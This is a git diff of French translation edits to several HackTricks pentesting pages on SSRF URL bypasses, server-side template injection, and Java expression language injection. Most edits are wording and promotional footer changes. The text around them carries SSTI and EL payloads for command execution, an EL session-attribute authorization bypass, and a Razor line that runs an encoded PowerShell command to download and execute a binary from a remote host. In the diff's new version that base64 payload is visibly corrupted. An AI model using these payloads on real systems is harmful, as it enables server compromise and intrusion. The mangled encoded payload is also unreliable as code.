PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -18,14 +18,14 @@ Consultez **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://bl
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 38a1383e0..e96f3bbf6 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -93,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (649) (1) (1).png>) -L'extension **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP. +L'extension **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage IP. ### Analyseur de domaine ```bash @@ -196,7 +196,7 @@ self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` -## Astuces Expliquées +## Astuces expliquées ### Astuce du backslash @@ -204,7 +204,7 @@ La *technique du backslash* exploite une différence entre le [Standard des URL ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) -### Autres Confusions +### Autres confusions ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>) @@ -230,8 +230,8 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 68e9cbb75..e30d4191d 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -28,7 +28,7 @@ Jinja est un moteur de modèle populaire utilisé dans les applications web. Con ```python output = template.render(name=request.args.get('name')) ``` -Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement transmis au modèle en utilisant la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur. +Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement passé dans le modèle à l'aide de la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur. Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci: ``` @@ -45,7 +45,7 @@ Pour détecter l'injection de modèle côté serveur (SSTI), initialement, **le - **Contexte en texte brut** : Différenciez des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, `{{7*7}}`, `${7*7}`). -- **Contexte de code** : Confirmez la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://site-web-vulnérable.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur. +- **Contexte de code** : Confirmez la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, en changeant `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur. #### Phase d'Identification Identifier le moteur de modèle implique d'analyser les messages d'erreur ou de tester manuellement diverses charges spécifiques à chaque langage. Les charges courantes provoquant des erreurs incluent `${7/0}`, `{{7/0}}`, et `<%= 7/0 %>`. Observer la réponse du serveur aux opérations mathématiques aide à cibler le moteur de modèle spécifique. @@ -167,9 +167,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'_insertion d'expression_ est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme `[[...]]` ou `[(...)]`. Ainsi, un simple payload de test SSTI pourrait ressembler à `[[${7*7}]]`. -Cependant, la probabilité que ce payload fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient mettre en œuvre leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare. +Cependant, la probabilité que ce payload fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare. -Thymeleaf propose également un _prétraitement des expressions_, où les expressions entre doubles tirets bas (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf : +Thymeleaf offre également un _prétraitement des expressions_, où les expressions entre doubles tirets bas (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf : ```java #{selection.__${sel.code}__} ``` @@ -180,7 +180,7 @@ Considérez le code suivant, qui pourrait être susceptible à l'exploitation : ``` -Cela indique que si le moteur de template traite ces entrées de manière incorrecte, cela pourrait entraîner l'exécution de code à distance en accédant à des URL telles que : +Cela indique que si le moteur de template traite ces entrées de manière incorrecte, cela pourrait entraîner l'exécution de code à distance accédant aux URL suivantes : ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -278,7 +278,7 @@ Nouvelle version de Pebble : ``` ### Jinjava (Java) -Jinjava is a Java library for server-side template injection. It is commonly used in Java web applications for rendering templates. By exploiting server-side template injection vulnerabilities in Jinjava, an attacker can execute arbitrary code on the server. +Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé dans divers frameworks Java tels que Spring Boot. Les SSTI peuvent être exploités pour exécuter du code côté serveur et potentiellement compromettre tout le système. Soyez conscient de cette vulnérabilité lors du développement d'applications utilisant Jinjava. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 @@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique d'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent : +Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique de l'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent : - **JavaServer Faces (JSF)** : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes. - **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application. @@ -378,7 +378,7 @@ Consultez la page suivante pour en savoir plus sur l'**exploitation des interpr ### Groovy (Java) -Les contournements suivants du gestionnaire de sécurité ont été extraits de ce [**rapport**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Les contournements du gestionnaire de sécurité suivants ont été extraits de ce [**rapport**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -455,7 +455,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` -**Twig - Format de modèle** +**Twig - Format de template** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], @@ -476,7 +476,7 @@ array("first_name" => $user.first_name) Plates est un moteur de template natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, le rendant intuitif pour les développeurs PHP. -Contrôleur: +Contrôleur : ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); @@ -753,7 +753,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm [Site officiel](http://jinja.pocoo.org) -> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandbox intégré en option, largement utilisé et sous licence BSD. +> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD. * `{{7*7}} = Erreur` * `${7*7} = ${7*7}` @@ -808,7 +808,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} -Autres charges utiles sur [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) +Autres charges utiles dans [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python @@ -832,9 +832,9 @@ ${x} * `@(1+2)` * `@( //Code C# )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` -* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` +* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");` -La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable dans [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) +La méthode `.NET` `System.Diagnostics.Process.Start` peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Plus d'informations** @@ -866,7 +866,7 @@ Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby. ``` ### SSTI en GO -Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des charges utiles spécifiques : +Dans le moteur de template de Go, la confirmation de son utilisation peut être effectuée avec des charges utiles spécifiques : * `{{ . }}` : Révèle la structure des données en entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer. * `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti". @@ -874,14 +874,14 @@ Dans le moteur de template de Go, la confirmation de son utilisation peut être **Exploitation XSS** -Avec le package `text/template`, les attaques XSS peuvent être directes en insérant directement la charge utile. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cet encodage : +Avec le package `text/template`, les attaques XSS peuvent être directes en insérant la charge utile directement. En revanche, le package `html/template` encode la réponse pour empêcher cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cet encodage : {{define "T1"}}{{end}} {{template "T1"}} **Exploitation RCE** L'exploitation de RCE diffère significativement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans `html/template`. La documentation de ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/). -Pour RCE via SSTI en Go, les méthodes des objets peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné : +Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, elle peut être exploitée comme `{{ .System "ls" }}`. L'accès au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné : ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -893,7 +893,7 @@ return string(out) * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -### Plus d'exploits +### Autres exploits Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) @@ -935,12 +935,12 @@ Si vous pensez que cela pourrait être utile, lisez : Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord [**Discord group**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram group**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index 50fc07b68..9415d1465 100644 --- a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -1,29 +1,29 @@ -# Langage d'Expression (EL) +# EL - Expression Language
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Informations de Base +## Informations de base -Le Langage d'Expression (EL) est essentiel en JavaEE pour relier la couche de présentation (par exemple, les pages web) et la logique de l'application (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans : +Le langage d'expression (EL) est essentiel en JavaEE pour relier la couche de présentation (par exemple, les pages web) et la logique de l'application (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans : - **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend. - **JavaServer Pages (JSP)** : Pour l'accès aux données et la manipulation dans les pages JSP. -- **Contexts and Dependency Injection for Java EE (CDI)** : Pour faciliter l'interaction de la couche web avec les beans gérés. +- **Injection de contextes et de dépendances pour Java EE (CDI)** : Pour faciliter l'interaction de la couche web avec les beans gérés. -**Contextes d'Utilisation** : +**Contextes d'utilisation** : -- **Spring Framework** : Appliqué dans divers modules comme la Sécurité et les Données. -- **Usage Général** : À travers l'API SpEL par les développeurs dans les langages basés sur la JVM comme Java, Kotlin et Scala. +- **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données. +- **Utilisation générale** : À travers l'API SpEL par les développeurs dans les langages basés sur la JVM comme Java, Kotlin et Scala. EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable à travers les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et les termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version. @@ -31,9 +31,9 @@ EL est présent dans les technologies JavaEE, les environnements autonomes, et r Selon la **version d'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**. {% endhint %} -## Exemple de Base +## Exemple de base -(Vous pouvez trouver un autre tutoriel intéressant sur EL à [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) +(Vous pouvez trouver un autre tutoriel intéressant sur EL à l'adresse [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) Téléchargez depuis le [**dépôt Maven**](https://mvnrepository.com) les fichiers jar : @@ -195,7 +195,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec ``` ### Inspection de l'environnement -* `applicationScope` - variables globales de l'application +* `applicationScope` - variables d'application globales * `requestScope` - variables de requête * `initParam` - variables d'initialisation de l'application * `sessionScope` - variables de session @@ -205,7 +205,7 @@ Vous devrez convertir ces variables en chaîne de caractères comme suit : ```bash ${sessionScope.toString()} ``` -#### Exemple de contournement d'autorisation +#### Exemple de contournement de l'autorisation ```bash ${pageContext.request.getSession().setAttribute("admin", true)} ``` @@ -228,12 +228,12 @@ Consultez [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index e36c2b7b7..20e960bf1 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -2,15 +2,15 @@
